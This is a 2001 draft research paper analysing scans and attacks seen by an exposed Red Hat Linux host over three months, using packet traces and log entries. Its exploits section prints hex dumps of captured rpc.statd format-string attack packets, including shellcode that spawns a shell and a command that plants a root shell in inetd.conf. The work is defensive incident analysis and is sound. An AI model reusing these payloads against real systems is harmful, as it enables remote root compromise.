Internet Hostility: What a Linux Host Sees*

John Kristoff

DePaul University
Chicago, IL
jtk@depaul.edu

DRAFT February 12, 2001

Abstract

One of the dangers of attaching to the Internet is the potential abuse an attacker may inflict upon an accessible host computer. I setup a popular distribution of Linux on a PC, attached it to an unrestricted subnet on a large university network and monitored its activity. This paper details what this host saw over the period of approximately three months. I show and explain packet traces and log file entries that were maintained over the course of the monitoring period. I conclude that the average Internet connected host only needs to take a few safety precautions to withstand the majority of unsolicited remote attacks currently being used.

1 Introduction

Many organizations provide unrestricted connectivity between the majority of their network hosts and the Internet. I wondered what dangers await the average host connected to an open network. What are the most common types of attacks being launched against the typical Internet connected host? Who is launching those attacks? I was particularly interested in learning anything about network and host security that I did not already know.

On September 1, 2000 I installed Red Hat 6.2 on a standard PC platform.[1] A default installation was used to build the machine, which meant many remotely accessible applications such as *TELNET*, *FTP*, *RPC services*, and so on were enabled by default. I didn't want anyone to compromise the host using well known exploits so I patched the `wu-ftp` and `rpc.statd` daemons shortly after the project began.[2][3] In order to provide a more detailed view than the host's log files could show a Windows laptop with no TCP/IP stack configured sat passively on a shared hub with the Linux host and monitored the host using

*Thanks to the Laura Grill, Rich Hail and members of the FIRST community for their valuable feedback and comments.

Windump, a port of the popular `tcpdump` package.[4][5] The host was installed on its own private subnet behind a dedicated Cisco router. The router was using the intrusion detection feature set from Cisco IOS version 12.1(2)T.[6] The Cisco IDS provided relatively no additional input to the analysis, but acted as a modest check on the monitoring process.

The Linux host was entirely passive and its existence was not advertised other than having had a DNS etnry name of *igunda.depaul.edu*. From here on out, I'll refer to the Linux host by its short DNS name—*igunda*.[1] Any network activity between remote hosts and *igunda* would have to be due to suspicious behavior or by error. I'll refer to these remote hosts as either the *attackers* or *suspects* depending on the context of analysis.

Periodically I took the system offline for a few minutes at a time to collect log and trace files. On a couple of occasions, either *igunda* or the monitoring tools were not entirely robust. For example, near the end of the monitoring period, the Windows laptop was unstable and thus I do not have *Windump* traces for the last few weeks of the project. Even with these failures in the implementation the data collection and analysis did help me understand what a typical Linux host is subject to on the open Internet.

One final note—the data presented here is a summarization of the most interesting scans, attacks and packets that the monitoring systems saw. The log and trace files added up to over 1 megabyte of pure data. Obviously some data reduction on my part was in order to make this a manageable paper for the reader.

2 Scans

Most attackers first want to know of a vulernable host's existence. To discover a vulnerable host an attacker often uses automated tools that scan valid IP addresses on the Internet to see if a host is listening and will respond to unsolicted communication. In this portion of the paper, I will look at some of the most common scanning activity to which *igunda* was exposed.

igunda was most often scanned for a specific service rather than generically probed as one might find in a classic `nmap` scan.[7] By far, the most popular service scans were for *RPC services* and *FTP*. *NETBIOS services* and *TELNET* were also big targets. I found it interesting that *igunda* received relatively few scans for *HTTP* services. Perhaps since *igunda* was not a high profile web site it failed to attract the attention of the numerous web site defacing attackers?

2.1 `rpc.statd`

Within a couple of hours of coming online, *igunda* received the following:[2]

[1] In addition, any date and time information will be based on U.S. central standard time (UTC offset -0600 —or -0500 during daylight savings time)

[2] *Ethereal*[8] was used to analyze the packet traces for this paper.

```
No.  Time       Source    Destination   Length   Protocol
1  0.000000     suspect     igunda        60       TCP
   sunrpc > sunrpc [FIN, SYN] Seq=1597357078 Ack=1032676069 Win=1028 Len=0
```

This was the very first packet *igunda* saw and it was a suspicious one![3] Based on the DNS name and ARIN registration information of the *suspect's* IP address I could surmise that the source was a home DSL machine based in North America. This *suspect* attempted to connect to *igunda's* TCP port 111 (`sunrpc`). It is worth noting the source port from the *suspect* is also TCP port 111 (`sunrpc`). Port numbers less than 1024 are usually only used by a priviledged system process or a user with root level access on a system.

The combination of both the FIN and SYN TCP flags is a dead giveaway that something fishy is going on. A single SYN flag bit should be set as part of the standard 3-way handshake for TCP connection setup. The *suspect* may have crafted such a packet in attempt to bypass or confuse a rudimentary firewall configuration. Futhermore, the acknowledgement number should be zero since the *suspect* has no way of knowing *igunda's* sequence number at this point.

I also noticed the relatively small initial window setting of 1028 bytes. Since most TCP implementations start with values of 8KB, 16KB or 32KB for the initial window, this value seemed suspiciously unique, further evidence of a *crafted* packet. Packets 2 and 3 below show what happen next:

```
No.  Time       Source    Destination   Length   Protocol
2  0.002357    igunda       suspect       60       TCP
   sunrpc > sunrpc [SYN, ACK] Seq=615350455 Ack=1597357079 Win=32696 Len=0
3  0.096964     suspect     igunda        60       TCP
   sunrpc > sunrpc [RST] Seq=1597357079 Ack=0 Win=0 Len=0
```

igunda responds to the original FIN, SYN packet as if a normal TCP connection was initiated—obviously ignoring the FIN setting and original acknowledgement number. The third packet in the trace above shows the *suspect* abruptly terminating the connection with a TCP RST packet. The *suspect* now knows *igunda* is accepting connections on TCP port 111.[4] Immediately following this initial *RPC services* scan, another exchange of packets between *igunda* and the *suspect* were recorded:

```
No.  Time       Source    Destination   Length   Protocol
4  0.206199     suspect     igunda        74       TCP
   4111 > sunrpc [SYN] Seq=266455297 Ack=0 Win=32120 Len=0
5  0.206307    igunda       suspect       74       TCP
   sunrpc > 4111 [SYN, ACK] Seq=611875944 Ack=266455298 Win=32120 Len=0
```

The *suspect* then begins a standard 3-way handshake to *igunda*'s TCP port 111 `sunrpc`), but this time the *suspect* is using source port number 4111. As the remainder of the trace will soon show, this TCP connection will never be completed. The *suspect* goes on to initiate it's third and final TCP connection to *igunda*:

[3] This scan and many others seen by *igunda* and detailed in this paper appear to be based on a popular tool called *syncan*.[9]

[4] According to [10], responses to SYN/FIN packets may also help a suspect to *fingerprint* a remote host system type.

```
No.  Time       Source    Destination   Length   Protocol
6  0.307255     suspect     igunda        74       TCP
   704 > sunrpc [SYN] Seq=254701368 Ack=0 Win=32120 Len=0
7  0.307369    igunda       suspect       74       TCP
   sunrpc > 704 [SYN, ACK] Seq=618011412 Ack=254701369 Win=32120 Len=0
8  0.406683     suspect     igunda        110      PORTMAP
   V2 DUMP Call XID 0x230733ec dup XID 0x230733ec
9  0.406927    igunda       suspect       66       TCP
   sunrpc > 704 [ACK] Seq=618011413 Ack=254701413 Win=32120 Len=0
10 0.411014     suspect     igunda        66       TCP
   704 > sunrpc [ACK] Seq=254701369 Ack=618011413 Win=32120 Len=0
11 0.411116    igunda       suspect       66       TCP
   sunrpc > 704 [ACK] Seq=618011413 Ack=254701413 Win=32120 Len=0
12 0.429783    igunda       suspect       258      PORTMAP
   V2 DUMP Reply XID 0x230733ec dup XID 0x230733ec
13 0.526622     suspect     igunda        66       TCP
   704 > sunrpc [ACK] Seq=254701413 Ack=618011605 Win=31928 Len=0
14 0.528444     suspect     igunda        66       TCP
   704 > sunrpc [FIN, ACK] Seq=254701413 Ack=618011605 Win=32120 Len=0
15 0.528545    igunda       suspect       66       TCP
   sunrpc > 704 [ACK] Seq=618011605 Ack=254701414 Win=32120 Len=0
16 0.528729    igunda       suspect       66       TCP
   sunrpc > 704 [FIN, ACK] Seq=618011605 Ack=254701414 Win=32120 Len=0
17 0.624000     suspect     igunda        66       TCP
   704 > sunrpc [ACK] Seq=254701414 Ack=618011606 Win=32120 Len=0
```

The volley of packets 6 through 17 is a valid connection between the *suspect* and *igunda*. With packet 8 above, the suspect requests information from *igunda's* portmapper service. Included in the *V2 DUMP Reply* (packet 12) from *igunda* is the specific TCP and UDP port `rpc.statd` is listening on. Once this information has been gathered by the *suspect* it gracefully closes its connection as shown in packets 14 through 17. There are however a few remaning packets between *igunda* and the *suspect* as shown below:

```
No.  Time       Source    Destination   Length   Protocol
18 3.500906    igunda       suspect       74       TCP
   sunrpc > 4111 [SYN, ACK] Seq=611875944 Ack=266455298 Win=32120 Len=0
19 10.001711   igunda       suspect       74       TCP
   sunrpc > 4111 [SYN, ACK] Seq=611875944 Ack=266455298 Win=32120 Len=0
20 22.503254   igunda       suspect       74       TCP
   sunrpc > 4111 [SYN, ACK] Seq=611875944 Ack=266455298 Win=32120 Len=0
21 47.006293   igunda       suspect       74       TCP
   sunrpc > 4111 [SYN, ACK] Seq=611875944 Ack=266455298 Win=32120 Len=0
22 95.512285   igunda       suspect       74       TCP
   sunrpc > 4111 [SYN, ACK] Seq=611875944 Ack=266455298 Win=32120 Len=0
23 192.024229  igunda       suspect       74       TCP
   sunrpc > 4111 [SYN, ACK] Seq=611875944 Ack=266455298 Win=32120 Len=0
24 312.539125  igunda       suspect       74       TCP
   sunrpc > 4111 [SYN, ACK] Seq=611875944 Ack=266455298 Win=32120 Len=0
25 3600.966747  suspect     igunda        60       TCP
   704 > sunrpc [RST] Seq=254701369 Ack=0 Win=32120 Len=0
26 4990.071764  suspect     igunda        60       TCP
   4111 > sunrpc [RST] Seq=266455298 Ack=0 Win=32120 Len=0
```

igunda is still trying to finish the second connection from the *suspect's* source port of 4111. Oddly, the *suspect* sends a TCP RST packet for a connection it has already closed (packet 25.) As strange as the TCP RST packet is by itself, take a look at the sequence number in this packet and compare it to the sequence number from the last point of the connection (packet 17). It doesn't match! It does match the sequence number at packet 7 however. The *suspect* eventually closes the connection from TCP port 4111 (packet 26) more than an hour after it was first initiated!

A few days later, *igunda* received the exact same series of packets from a commercial organization's host in Mexico. A few days later again another very similiar scan from a commercial web server in Slovenia was the source. Upon examination of the Slovenia suspect, I noticed it was not using all the TCP option fields that the other scanning hosts were. This would seem to indicate a different version of TCP/IP stack software (or OS kernel). The packet count was slightly different for the Slovenia host, which may have been attributed to packet delay or packet loss. This is a reasonable assumption considering the relative internetwork distance and route packets had to travel in that particular scan. One of the last scans of this type came from a large China ISP block of addresses in the middle of November, 2000. It is reasonable to assume that these scans were generated using an automated `rpc.statd` scanning tool. I did not invest the time to try to learn which particular tool this might have been.

Around the end of September a different kind of *RPC services* scan was logged. This particular *suspect* appeared to come from a host administered by a commercial entity in Sweden. This *suspect* accomplishes the same thing as seen from other hosts, but it avoids the SYN/FIN trickery and much of the unfriendly TCP behavior. The only obvious anomally was that the *suspect* sends an out of sequence TCP RST (packet 13) about an hour after the connection was already closed. The sequence number in the *suspect's* last packet coincidentally matches the sequence number found in packet 6.

The summary of this scan is shown below:

```
No. Time        Source    Destination   Length   Protocol
 1 0.000000     suspect     igunda        74       TCP
   706 > sunrpc [SYN] Seq=3287601366 Ack=0 Win=32120 Len=0
 2 0.003963     igunda      suspect       74       TCP
   sunrpc > 706 [SYN, ACK] Seq=2868067889 Ack=3287601367 Win=32120 Len=0
 3 0.226169     suspect     igunda        110      PORTMAP
   V2 DUMP Call XID 0x5b4398b4 dup XID 0x5b4398b4
 4 0.226426     igunda      suspect       66       TCP
   sunrpc > 706 [ACK] Seq=2868067890 Ack=3287601411 Win=32120 Len=0
 5 0.228461     igunda      suspect       258      PORTMAP
   V2 DUMP Reply XID 0x5b4398b4 dup XID 0x5b4398b4
 6 0.230186     suspect     igunda        66       TCP
   706 > sunrpc [ACK] Seq=3287601367 Ack=2868067890 Win=32120 Len=0
 7 0.230280     igunda      suspect       66       TCP
   sunrpc > 706 [ACK] Seq=2868068082 Ack=3287601411 Win=32120 Len=0
 8 0.457114     suspect     igunda        66       TCP
   706 > sunrpc [ACK] Seq=3287601411 Ack=2868068082 Win=31928 Len=0
 9 0.458845     suspect     igunda        66       TCP
   706 > sunrpc [FIN, ACK] Seq=3287601411 Ack=2868068082 Win=32120 Len=0
10 0.458939     igunda      suspect       66       TCP
   sunrpc > 706 [ACK] Seq=2868068082 Ack=3287601412 Win=32120 Len=0
11 0.459125     igunda      suspect       66       TCP
```

```
   sunrpc > 706 [FIN, ACK] Seq=2868068082 Ack=3287601412 Win=32120 Len=0
12 0.684192     suspect     igunda        66       TCP
   706 > sunrpc [ACK] Seq=3287601412 Ack=2868068083 Win=32120 Len=0
13 3601.026373  suspect     igunda        60       TCP
   706 > sunrpc [RST] Seq=3287601367 Ack=0 Win=32120 Len=0
```

All of the scans described in this section did not show up in any of the default system log files on *igunda*. These scans were seen only through the use of the passive *Windump* machine. In order for *igunda* to log or generate alerts for these scans, additional software would have had to be installed and configured. For the time that the *Windump* machine was operational (a period of approximately two and a half months), it saw more than half a dozen *RPC service* scans.

2.2 wu-ftpd

The first scan for *igunda*'s `wu-ftpd` service did not come until September 5, 2000, a few days after *igunda* was first put online. This scan came from another DSL host based in the U.S. The six packets below show the activity that took place:[5]

```
No. Time       Source    Destination    Length   Protocol
 1 0.000000    suspect     igunda         78       TCP
   4467 > ftp [SYN] Seq=1312187007 Ack=0 Win=44620 Len=0
 2 0.003041    igunda      suspect        74       TCP
   ftp > 4467 [SYN, ACK] Seq=2335694633 Ack=1312187008 Win=32120 Len=0
 3 0.093204    suspect     igunda         66       TCP
   4467 > ftp [ACK] Seq=1312187008 Ack=2335694634 Win=46537 Len=0
 4 0.555505    igunda      suspect        158      FTP
   Response: 220 igunda.depaul.edu FTP server
   (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000) ready.
 5 0.751154    suspect     igunda         66       TCP
   4467 > ftp [ACK] Seq=1312187008 Ack=2335694726 Win=46526 Len=0
 6 10.015127   suspect     igunda         60       TCP
   4467 > ftp [RST] Seq=1312187008 Ack=0 Win=0 Len=0
```

The scan performed by the *suspect* above is relatively straighforward. The *suspect* initiates a standard TCP connection to FTP port 21, gets the login banner message and then abrutly leaves. The presumption is that the *suspect* was only identifying and probably cataloging the `ftpd` type and version .

The following was logged to the `messages` log file on *igunda*:[6]

```
Sep  5 02:39:41 igunda ftpd[7594]: lost connection to suspect
Sep  5 02:39:41 igunda ftpd[7594]: FTP session closed
Sep  5 02:39:41 igunda inetd[478]: pid 7594: exit status 255
```

The following was logged to the `debug` log file on *igunda*:

[5] As this point in the project *igunda* was still using an unpatched version of `wu-ftpd`.

[6] The log messages in these examples would contain the IP address and sometimes the DNS name (if known) of the *suspect*. For privacy reasons and because it is of little value to the average reader, I have removed references to names and addresses in this paper other than those used by *igunda*.

```
Sep  5 02:39:31 igunda in.ftpd[7594]: connect from suspect
Sep  5 02:39:41 igunda ftpd[7594]: lost connection to suspect
Sep  5 02:39:41 igunda ftpd[7594]: FTP session closed
Sep  5 02:39:41 igunda inetd[478]: pid 7594: exit status 255
```

Notice the difference between the two log files. In the `messages` log, there was no original connect message. Finally, the following text was logged to the `secure` log file on *igunda*:

```
Sep  5 02:39:31 igunda in.ftpd[7594]: connect from suspect
```

igunda logged a number of FTP scans similar to the one above. In one variant a dial-up customer of a large U.S. based network provider started and ended the scan with an ICMP echo request (`PING`).

On the morning of September 8, *igunda* sees another type of FTP scan. The first four packets the *Windump* machine sees are essentially identical to the previous example. However, instead of abrutly ending the connection, take a look at what this *suspect* from another different DSL connected host does:

```
No. Time       Source    Destination   Length   Protocol
 1 0.000000    suspect     igunda        62       TCP
   61828 > ftp [SYN] Seq=2116772448 Ack=0 Win=16384 Len=0
 2 0.002262    igunda      suspect       62       TCP
   ftp > 61828 [SYN, ACK] Seq=3162759673 Ack=2116772449 Win=32476 Len=0
 3 0.133059    suspect     igunda        60       TCP
   61828 > ftp [ACK] Seq=2116772449 Ack=3162759674 Win=16944 Len=0
 4 0.487893    igunda      suspect       146      FTP
   Response: 220 igunda.depaul.edu FTP server
   (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000) ready.
 5 0.649438    suspect     igunda        70       FTP
   Request: user anonymous
```

This case is a little more than a scan, the *suspect* wants to login as an anonymous ftp user. Let's see what happens next:

```
 6 0.649570    igunda      suspect       60       TCP
   ftp > 61828 [ACK] Seq=3162759766 Ack=2116772465 Win=32476 Len=0
 7 0.657586    igunda      suspect       122      FTP
   Response: 331 Guest login ok, send your complete e-mail address as password.
 8 0.787771    suspect     igunda        70       FTP
   Request: pass anonymous
 9 0.795743    igunda      suspect       97       FTP
   Response: 230-The response 'anonymous' is not valid
```

igunda lets the *suspect* in as an anonymous user. Now what is the *suspect* going to do?[7]

[7] The text of the response from *igunda* in packet 9 is misleading. Although it says *'anonymous' is not valid*, this is really only a warning message that the password entered was not what the system was looking for. The FTP reply code of 230 is all that really matters and it translates to *User logged in, proceed.* See [11] for further information.

```
10 0.961739    suspect     igunda        60       FTP
   Request: PASV
11 0.962061    igunda      suspect       228      FTP
   Response: 230-Next time please use your e-mail address as your password
12 1.106292    suspect     igunda        60       TCP
   61828 > ftp [FIN, ACK] Seq=2116772487 Ack=3162760051 Win=16567 Len=0
13 1.106404    igunda      suspect       60       TCP
   ftp > 61828 [ACK] Seq=3162760051 Ack=2116772488 Win=32476 Len=0
14 1.106510    igunda      suspect       103      FTP
   Response: 227 Entering Passive Mode (140,192,9,1,255,235)
15 1.109061    igunda      suspect       91       FTP
   Response: 221 You could at least say goodbye.
16 1.241357    suspect     igunda        60       TCP
   61828 > ftp [RST] Seq=2116772488 Ack=68658 Win=0 Len=0
17 1.243795    suspect     igunda        60       TCP
   61828 > ftp [RST] Seq=2116772488 Ack=2116772488 Win=0 Len=0
```

Not much else happens except that the *suspect* enters *passive mode*. Passive mode will force the `wu-ftpd` server to setup a random port to listen on for the data transfer portion of an FTP connection. Passive mode (as seen by the `PASV` command in packet 10) is often used by FTP clients as a way to interact nicely with their local firewalls, which may not allow arbitrary inbound connections to high numbered TCP ports.[8] Another possibility is that the *suspect* is testing the `ftpd` server for a bounce attack vulnerability.[12] Like most visitors this *suspect* suddenly drops the connection when it has apparently gotten all the info it wanted. When this *suspect* drops the connection, the *Windump* machine catches not just one, but two strange TCP RST packets (packets 16 and 17). This time the the acknowledgement numbers are invalid. In packet 16 the acknowledgement number is completely wrong and in the packet 17 the acknowledgement number is equal to the sequence number. The log messages generated on *igunda* were similar to the ones shown earlier.

The next FTP service scan is from a small China Internet service organization on September 25, 2000. The *suspect* employs a similar method to one we saw with many of the *RPC service* scans earlier. Notice the stealthy SYN/FIN and source port of 21 (*FTP service*):

```
No. Time         Source    Destination   Length   Protocol
 1 0.000000      suspect     igunda        60       TCP
   ftp > ftp [FIN, SYN] Seq=2127805723 Ack=585600818 Win=1028 Len=0
```

Didn't that initial window size and the presence of an acknowledgement number look awfully similar to ones seen with some of the *RPC service* scans? The rest of the trace shows what one might expect to see:

```
 2 0.002485      igunda      suspect       60       TCP
   ftp > ftp [SYN, ACK] Seq=591624717 Ack=2127805724 Win=32696 Len=0
 3 0.711950      suspect     igunda        60       TCP
   ftp > ftp [RST] Seq=2127805724 Ack=0 Win=0 Len=0
```

[8] After a client initiates a connection, an FTP server in normal mode will initiate a TCP connection back to the client on an agreed upon high numbered TCP port from the server's own TCP source port of 20. See [11] for further details.

```
 4 1.430792     suspect     igunda       74       TCP
   1508 > ftp [SYN] Seq=119522710 Ack=0 Win=32120 Len=0
 5 1.430899     igunda      suspect      74       TCP
   ftp > 1508 [SYN, ACK] Seq=584908024 Ack=119522711 Win=32120 Len=0
 6 2.220872     suspect     igunda       66       TCP
   1508 > ftp [ACK] Seq=119522711 Ack=584908025 Win=32120 Len=0
 7 12.176801    suspect     igunda       66       TCP
   1508 > ftp [FIN, ACK] Seq=119522711 Ack=584908025 Win=32120 Len=0
 8 12.177065    igunda      suspect      66       TCP
   ftp > 1508 [ACK] Seq=584908025 Ack=119522712 Win=32120 Len=0
 9 20.134356    igunda      suspect      158      FTP
   Response: 220 igunda.depaul.edu FTP server
   (Version wu-2.6.0(1) Fri Jun 23 09:17:44 EDT 2000) ready.
10 20.137994    igunda      suspect      103      FTP
   Response: 221 You could at least say goodbye.
11 20.853809    suspect     igunda       60       TCP
   1508 > ftp [RST] Seq=119522712 Ack=0 Win=0 Len=0
12 20.854717    suspect     igunda       60       TCP
   1508 > ftp [RST] Seq=119522712 Ack=0 Win=0 Len=0
```

In all, *igunda* and the *Windump* machine logged about 20 different scan attempts to TCP port 21 over the monitoring period of about three months. Is that a lot? Considering that suspects and attackers would have been randomly searching the Internet for hosts, it probably is.

2.3 Other Scans

In addition to the various scans for *RPC services* and *FTP*, there was similar scanning activity on *igunda's* TCP port 23 (*TELNET*). I found none of the *TELNET* scans worth examining as they do not add significantly to the analysis that I have already done up to this point.

There were a handful of scans to other well known services that have been known to be vulnerable to remote attack in the past. For example, a few connection attempts were made to TCP port 53 (*DNS*), TCP port 110 (*POP3*), TCP port 143 (*IMAP*) and TCP port 137 (*NETBIOS name service*). There were also a couple of TCP conneciton attempts to port 27374. This port is most often associated with the Sub-7 trojan horse.[14] Since *igunda* was not listening on those ports by default, examining those traces and log files adds little to this analysis.

There were a also a few suspects who were trying to connect to a number of different services consecutively. These are the *noisy scanners* that often attempt to identify as much about a host as possible. Again, further analysis was not warranted as the data did not appear to contain any additional insights.

3 Exploits

It shouldn't seem suprising after the number of scans that *igunda* saw someone would try to compromise a service or two. Our analysis would have been less interesting if it were not for the fact that two very popular services, `rpc.statd` and `wu-ftpd`, had recently been found to contain vulnerabilities which could be exploited remotely. It certainly would have been interesting to see a new exploit against `telnetd` that no one had seen before, but no such luck. However, its nice to know that it doesn't take much to defend against all the anonymous remote attacks *igunda* saw.

3.1 rpc.statd

It was only a few hours after *igunda* came online until it saw an *RPC services* scan, but it wasn't until a month later an actual exploit was attempted. On October 8, 2000 at approximately 6:20 a.m. it finally came. The *Windump* machine saw only two packets from the *attacker* as shown below:

```
No. Time        Source    Destination   Length   Protocol
 1 0.000000    attacker     igunda        98       PORTMAP
   V2 GETPORT Call XID 0x3556c09e dup XID 0x3556c09e
 2 0.001633     igunda     attacker       70       PORTMAP
   V2 GETPORT Reply XID 0x3556c09e dup XID 0x3556c09e
 3 0.101546    attacker     igunda        1118     STAT
   V1 STAT Call XID 0x3e6d6130 dup XID 0x3e6d6130
 4 0.104777     igunda     attacker       74       STAT
   V1 STAT Reply XID 0x3e6d6130 dup XID 0x3e6d6130
```

The source host was one that was not seen before this attack. It is possible that the *attacker* had previously scanned *igunda* using a different source we would have seen earlier. It is also possible that this *attacker* was just hoping to get lucky and hit upon a potentially vulnerable host to attack. That would make this event both a scan and an exploit. If the *attacker* was successful, the compromise would have happened in about 1/10 of a second.

To understand what happened, the data carried within the packets need to be examined. The following output shows the UDP and higher layer details of the *attacker's* first packet:[9]

```
User Datagram Protocol
    Source port: 1031 (1031)
    Destination port: sunrpc (111)
    Length: 64
    Checksum: 0xe973
Remote Procedure Call
    XID: 0x3556c09e (894877854)
    Message Type: Call (0)
    RPC Version: 2
    Program: PORTMAP (100000)
    Program Version: 2
    Procedure: GETPORT (3)
    Credentials
        Flavor: AUTH_NULL (0)
        Length: 0
    Verifier
        Flavor: AUTH_NULL (0)
        Length: 0
```

[9]See RFC 1831 for more information about standard *RPC services*.[13]

```
Portmap
    Program Version: 2
    Procedure: GETPORT (3)
    Program: STAT (100024)
    Version: 1
    Proto: UDP (17)
    Port: 0
```

As shown above, the important parts of this packet include the UDP port specifying *igunda's RPC services* (111) and the specific query within the RPC call for the UDP port that the *STAT service* will be listening on (the `rpc.statd` daemon as implemented in UNIX).[10]

`AUTH_NULL` is specified by the *attacker* since the *STAT service* does not require a client to identify and authenticate itself.

Perhaps another interesting tidbit is that the *attacker's* source UDP port number is 1031. This number is greater than 1023, but not by much. It may indicate that the *attacker* is just getting started for the day as most TCP/IP stacks start allocating ports at 1024 for normal usage and count up as the system is used.

igunda accepts the request from the *attacker* and using its `portmapper` daemon *igunda* responds with an answer of UDP port 941 for the location of the *STAT service* (packet 2). The details in packet 3 below show what the *attacker* does once it has this information:

```
User Datagram Protocol
    Source port: 1031 (1031)
    Destination port: 941 (941)
    Length: 1084
    Checksum: 0x83ff
Remote Procedure Call
    XID: 0x3e6d6130 (1047355696)
    Message Type: Call (0)
    RPC Version: 2
    Program: STAT (100024)
    Program Version: 1
    Procedure: STAT (1)
    Credentials
        Flavor: AUTH_UNIX (1)
        Length: 32
        Stamp: 0x39e057ab
        Machine Name: localhost
            length: 9
            contents: localhost
            fill bytes: opaque data
        UID: 0
        GID: 0
        Auxiliary GIDs
    Verifier
        Flavor: AUTH_NULL (0)
        Length: 0
Status Service
```

[10]The *STAT service* is a support program that implements the *Network Status Monitor* protocol used by the NFS locking functionality.

```
Program Version: 1
Procedure: STAT (1)
Data (1004 bytes)
```

The *attacker* is sending 1004 bytes of data to the *rpc.statd* daemon. A packet analzyer will generally not be able to decode the data in the *STAT call*, so it will have to be done by hand. The hexadecimal and ASCII output for the first few bytes of data is shown below:

```
Byte  Hex                                        ASCII
  70  0000 0000 03e7 18f7 ffbf 18f7 ffbf 19f7    ................
  80  ffbf 19f7 ffbf 1af7 ffbf 1af7 ffbf 1bf7    ................
  90  ffbf 1bf7 ffbf 2538 7825 3878 2538 7825    ......%8x%8x%8x%
  a0  3878 2538 7825 3878 2538 7825 3878 2538    8x%8x%8x%8x%8x%8
  b0  7825 3233 3678 256e 2531 3337 7825 6e25    x%236x%n%137x%n%
  c0  3130 7825 6e25 3139 3278 256e 9090 9090    10x%n%192x%n....
```

The data above looks very much like string formatting codes one might find in a C program. Rather than try to figure out all of those codes by hand, I did some searching on the *Packet Storm* web site and found an exploit for Red Hat Linux 6.x that matched the the STAT data almost exactly.[15][16] This is a format string based attack on the `rpc.statd` daemon.[11] It shouldn't come as a shock that most scans and exploits seen by *igunda* could be traced to the automated tools found in various public forums.

After numerous 0x90 instructions (NOP assembler codes) which I have removed for brevity sake, byte 0x3d8 begins the exploit code below. This is the exploit code that tries to produce a shell for the attacker (notice what looks like the `/bin/sh` characters in the ASCII representation of the data, a dead giveaway).

```
Byte  Hex                                        ASCII
 3d0  9090 9090 9090 9090 31c0 eb7c 5989 4110    ........1..|Y.A.
 3e0  8941 08fe c089 4104 89c3 fec0 8901 b066    .A....A........f
 3f0  cd80 b302 8959 0cc6 410e 99c6 4108 1089    .....Y..A...A...
 400  4904 8041 040c 8801 b066 cd80 b304 b066    I..A.....f.....f
 410  cd80 b305 30c0 8841 04b0 66cd 8089 ce88    ....0..A..f.....
 420  c331 c9b0 3fcd 80fe c1b0 3fcd 80fe c1b0    .1..?.....?.....
 430  3fcd 80c7 062f 6269 6ec7 4604 2f73 6841    ?..../bin.F./shA
 440  30c0 8846 0789 760c 8d56 108d 4e0c 89f3    0..F..v..V..N...
 450  b00b cd80 b001 cd80 e87f ffff ff00         ..............
```

The `messages` and `debug` log files had the following entry (the line was truncated to fit the format restrictions of this paper):[12]

```
Oct  8 06:19:29 igunda rpc.statd[340]: gethostbyname error for ...
```

Fortunately `rpc.statd` was patched so as not to be vunerable to this attack. The *attacker* would have been dropped into a root shell if the attack was

[11] The exploit is actually a format string attack involving a call to SYSLOG by the `rpc.statd` daemon. The exploit was originally made publicly available on the BUQTRAQ mailing list.[17]

[12] The error message included the format string codes sent in the attack packet.

successful. The most interesting part of this attack was were it came from. The host name was *router2.[NorthAmericanISP].[TLD]*! I couldn't help but perform a quick `nmap` scan on the source. I discovered a Linux 2.12-2.14 based host with only TCP port 22 (`ssh`) open. Two likely options came to mind—either the source host was compromised or a valid user from the ISP was launching the attack. If either of these assumptions held true, the implications are larger than the attack itself. This *attacker's* source IP was never seen again.

A few weeks later an *attacker* from an Australian transportion company attempted a multi-service scan and `rpc.statd` exploit. The service scans were not much different than what has already been examined. The exploit attempt however was a new one. The attack packet from this attacker contained the following:

```
Byte  Hex                                       ASCII
  70  ffbf 07f7 ffbf 2530 3878 2025 3038 7820   ......%08x %08x
  80  2530 3878 2025 3038 7820 2530 3878 2025   %08x %08x %08x %
  90  3038 7820 2530 3878 2025 3038 7820 2530   08x %08x %08x %0
  a0  3878 2025 3038 7820 2530 3878 2025 3038   8x %08x %08x %08
  b0  7820 2530 3878 2025 3038 7820 2530 3234   x %08x %08x %024
  c0  3278 256e 2530 3535 7825 6e25 3031 3278   2x%n%055x%n%012x
  d0  256e 2530 3139 3278 256e 9090 9090 9090   %n%0192x%n......
```

The format string code above is different than the first exploit attempt we saw. The shell code portion of the attack packet is as follows:

```
Byte  Hex                                       ASCII
 100  9090 9090 9090 9090 9090 9090 eb4b 5e89   ............K^.
 110  76ac 83ee 208d 5e28 83c6 2089 5eb0 83ee   v... .^(.. .^...
 120  208d 5e2e 83c6 2083 c320 83eb 2389 5eb4    .^... .. ..#.^.
 130  31c0 83ee 2088 4627 8846 2a83 c620 8846   1... .F'.F*.. .F
 140  ab89 46b8 b02b 2c20 89f3 8d4e ac8d 56b8   ..F..+, ...N..V.
 150  cd80 31db 89d8 40cd 80e8 b0ff ffff 2f62   ..1...@......./b
 160  696e 2f73 6820 2d63 2065 6368 6f20 3232   in/sh -c echo 22
 170  3232 3220 7374 7265 616d 2074 6370 206e   222 stream tcp n
 180  6f77 6169 7420 726f 6f74 202f 6269 6e2f   owait root /bin/
 190  7368 2073 6820 2d69 203e 3e20 2f65 7463   sh sh -i >> /etc
 1a0  2f69 6e65 7464 2e63 6f6e 663b 6b69 6c6c   /inetd.conf;kill
 1b0  616c 6c20 2d48 5550 2069 6e65 7464 0000   all -HUP inetd..
 1c0  0009 6c6f 6361 6c68 6f73 7400 0000 0000   ..localhost.....
 1d0  0000 0000 0000 0000 0000 0000 0000 0000   ................
 1e0  0000 0000 0000 0000 0000                  ..........
```

Rather than dropping the attacker into a shell, the ASCII output plainly shows the intent of this attack. The *attacker* is trying to bind a shell directly into the `inetd.conf` configuration file and restart the networking services daemon. I found the important part of the shellcode (up to the point of "`/bin/sh`") to be the same as that found in the exploit posted by *Doing* to the *BUGTRAQ* mailing list on August 1, 2000.[18] Someone probably did some slight modification on the original exploit code to make this attack something more suited to their needs. After this exploit attempt, the *attacker* tried to make a TCP connection to *igunda's* TCP port 22222 from *attacker's* own source port of 22222 as shown below:

```
No. Time          Source    Destination   Length   Protocol
 1 0.000000      attacker     igunda        98       PORTMAP
   V2 GETPORT Call XID 0x5e8a0f25 dup XID 0x5e8a0f25
 2 0.001152       igunda      attacker      70       PORTMAP
   V2 GETPORT Reply XID 0x5e8a0f25 dup XID 0x5e8a0f25
 3 0.618121      attacker     igunda        490      STAT
   V1 MON Call XID 0x47bd8de2 dup XID 0x47bd8de2
